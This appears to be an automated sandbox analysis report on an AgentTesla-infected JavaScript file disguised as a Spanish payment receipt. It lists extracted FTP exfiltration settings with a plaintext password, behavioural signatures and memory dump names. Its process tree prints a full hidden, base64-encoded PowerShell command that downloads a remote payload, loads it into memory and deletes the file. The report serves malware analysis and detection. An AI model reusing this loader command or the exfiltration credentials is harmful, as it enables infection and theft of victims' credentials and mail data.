Analysis
- max time kernel
149s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/10/2026, 15:19
General
- Target Comprobante de pago.js
- Size 30KB
- Sample261002-sp99bstcmf
- SHA256 45251b761afc2e6dcb2115d22578850869c0a16b380ed720ce563220ec45ceba
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.ventaslll.com
-
Port
21
-
Username
-
Password
]HDaBYc%$hkg(27G
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Comprobante de pago.js"1⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('LiAoICRlTnY6Y09tU3BFY1s0LDE1LDI1XS1qT2luJycpKCgoJ1NMYXB5cm9jaG9sZXN0ZXJpYyA9IHJWT2h0dHBzOi8vcm91Z2gtdHJ1dGgtZTA3Mi5wdWJsaWNmdHByZXNlbmQud28nKydya2Vycy5kZXYveGhmZHl3eHBrclZPOyBTTGFtZXRhY29nbml0aW9uID0gclZPQzpOWW1Vc2Vyc05ZbVB1YicrJ2xpY05ZbURvd25sb2Fkc05ZbXBheWxvYWQudHh0cicrJ1ZPOyBTTGFrZXR1YmltID0gW2FjdGl2YXRvcl06OmNyZWF0ZUluc3RhbmNlKFtuZXQud2ViY2xpZW50XSk7IFNMYWtldHViaW0uSGVhZGVycy5BZGQoclZPVXNlci1BZ2VudHJWTywgclZPTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgVycrJ2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjAuMCBTYWZhcmkvNTM3LjM2clZPKTsgU0xha2V0dWJpbS4nKydEb3dubG9hZEZpbGUoU0xhcHlyb2Nob2xlc3RlcmljLCBTTGFtZXRhY29nbml0aW9uKTsgU0xhcGhmJysnZnQgPSAoR2V0LUNvbnRlbnQgU0xhbWV0YWNvZ25pdGlvbiAtUmF3KTsgU0xhc3RhdGlvbmFsID0gU0xhcGhmZnQuUmVwbGFjZShVa3kqVWt5LFVreUFVa3kpOyBTTGFwb2Rvc29tYXRhID0gW2NoYXJbXV0oKFNMYXN0YXRpb25hbC5Ub0NoYXJBcnJheSgpKVsoU0xhc3RhdGlvbmFsLkxlbmd0JysnaC0xKS4uMF0pOyBTTGFvbW5pcHJldmFsZW5jZSA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbicrJ2coLWpvaW4gU0xhcG9kb3NvbWEnKyd0YSk7IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkxvYWQoU0xhb21uaXByZXZhbGVuY2UpIFJmViBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoVWt5cVZRNkpJTTE4MWk2U3k0RGVkMi9WaURzZ0ExVU9QbmVhOTFPMTdNbWhreis4dEV1R3gyN2RGS2tUZUtwNmx5Z3FFOTZ6Z3NRZm9kT1RiSEdFWFZRanJrJysnbk5YK2pMV3pIc3FvZFZtSjJLU3c9VWt5JysnLFVreVVreSxVJysna3lnem9GT05XRTZ5TTNnUVJEMVNQY0MzOE1lQkg0RG8xN2l4RFlTamdNeE9mOS94Y0ZFTUNFMEVOanRpVXhqVScrJ3p1VWt5LFVreUFIMXNJaWFMMWNFJysncFU2UWFNMzBBcnpxTXl1dUdvWFYzMzB3QUdyOUdYR3MnKyc9VWt5LFVreVVBTFJiTkt3WGZCaWhYREhBQWhLQXBodXJweGw1bEwnKyd1SDdjT1J6elhPNWs9VWt5LFVreVVreSxVa3lHb2JvVVoxNGVHamJ0YUY1SXprdXJQekhhY3N4R25qYURYN3dpJysnZDd2dGdRPVVreSxVa3lVa3ksVWt5cGJrY2FNblhwVjdQNnlJU1BwOEtVZycrJ0lIVHY5ZktiMTJxZ1FCNzJqc3dmND1VaycrJ3ksVWt5RFFrblFqRExKOXNMeGlQQ3FyNmV0VXhHeXB2WXgwUzFDQ2tJNlBEQ2pKWGhGSk1qJysnZ2wwclF1bVNOZTUyVkk4WFVreSxVa3l0ZlF2SnVTb1NCSjkveVFQUkl6MVBaWWl0cDVDRFcvMEs1JysnUmJuT3B2cU40PVUnKydreSxVa3lBVml6RlcnKyc2N29xSlE3NXNNWXc3aTZRaFh3OGQvekFZJysnYm41OUxaNTdjMzRzPVVreSxVa3kxNUJhZ2YwTStCcEFraycrJ0UzMnFjYTJndDknKydjVDlwQXJjWWt3YnVkUFc2WENrPVVreSxVa3lVa3ksVWt5L3FGUXhCJysna2d3bklsMy9ENU9vclJUN1BONmdNY2NqNlA4NnVIWjZWRG54OD1Va3ksJysnVWsnKyd5c0NjN29xQTFMTDNkQ0U2OCcrJytVTE1IcGNidHg3K2ZVdGJxbjh1Smt5Tml0TT1Va3ksVWt5VScrJ2t5LFVreVVreSxVa3lVa3kpOyBSZW1vdmUtSXRlbSAtUGF0aCBTTGFtZXRhY29nbml0aW9uIC1GbycrJ3JjZSAtRXInKydyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZScpLVJlcGxhQ2UoW2NIQXJdODUrW2NIQXJdMTA3K1tjSEFyXTEyMSksW2NIQXJdMzktUmVwbGFDZSAgKFtjSEFyXTgyK1tjSEFyXTEwMitbY0hBcl04NiksW2NIQXJdMTI0LUNyZVBMQUNlIChbY0hBcl0xMTQrW2NIQXJdODYrW2NIQXJdNzkpLFtjSEFyXTM0LVJlcGxhQ2UgICdOWW0nLFtjSEFyXTkyICAtQ3JlUExBQ2UgKFtjSEFyXTgzK1tjSEFyXTc2K1tjSEFyXTk3KSxbY0hBcl0zNikgKQ==')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4636-97-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-77-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-2-0x0000015DE8A60000-0x0000015DE8A82000-memory.dmp
memory/4636-3-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-6-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-7-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-8-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-9-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-10-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-11-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-12-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-13-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-14-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-16-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-17-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-18-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-19-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-29-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-73-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-89-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-131-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-147-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-145-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-143-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-141-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-139-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-137-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-135-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-101-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-920-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-129-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-127-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-125-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-123-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-121-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-119-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-0-0x00007FF875ACF000-0x00007FF875AD0000-memory.dmp
memory/4636-115-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-113-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-111-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-109-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-107-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-105-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-103-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-133-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-1-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-117-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-95-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-93-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-91-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-87-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-85-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-83-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-81-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-79-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-99-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-75-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-71-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-69-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-67-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-65-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-63-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-61-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-59-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-926-0x00007FF875940000-0x00007FF8762E4000-memory.dmp
memory/4636-57-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-21-0x0000015DE8FE0000-0x0000015DE904C000-memory.dmp
memory/4636-55-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-22-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-23-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-25-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-53-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-51-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-49-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-47-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-45-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-43-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-41-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-39-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-37-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-35-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-33-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-31-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/4636-27-0x0000015DE8FE0000-0x0000015DE9047000-memory.dmp
memory/5056-928-0x00000000051B0000-0x0000000005216000-memory.dmp
memory/5056-927-0x0000000005800000-0x0000000005DBA000-memory.dmp
memory/5056-925-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5056-924-0x0000000075132000-0x0000000075133000-memory.dmp
memory/5056-929-0x00000000065F0000-0x0000000006682000-memory.dmp
memory/5056-930-0x0000000006690000-0x00000000066E0000-memory.dmp
memory/5056-931-0x00000000066E0000-0x00000000066EA000-memory.dmp
memory/5056-932-0x0000000075132000-0x0000000075133000-memory.dmp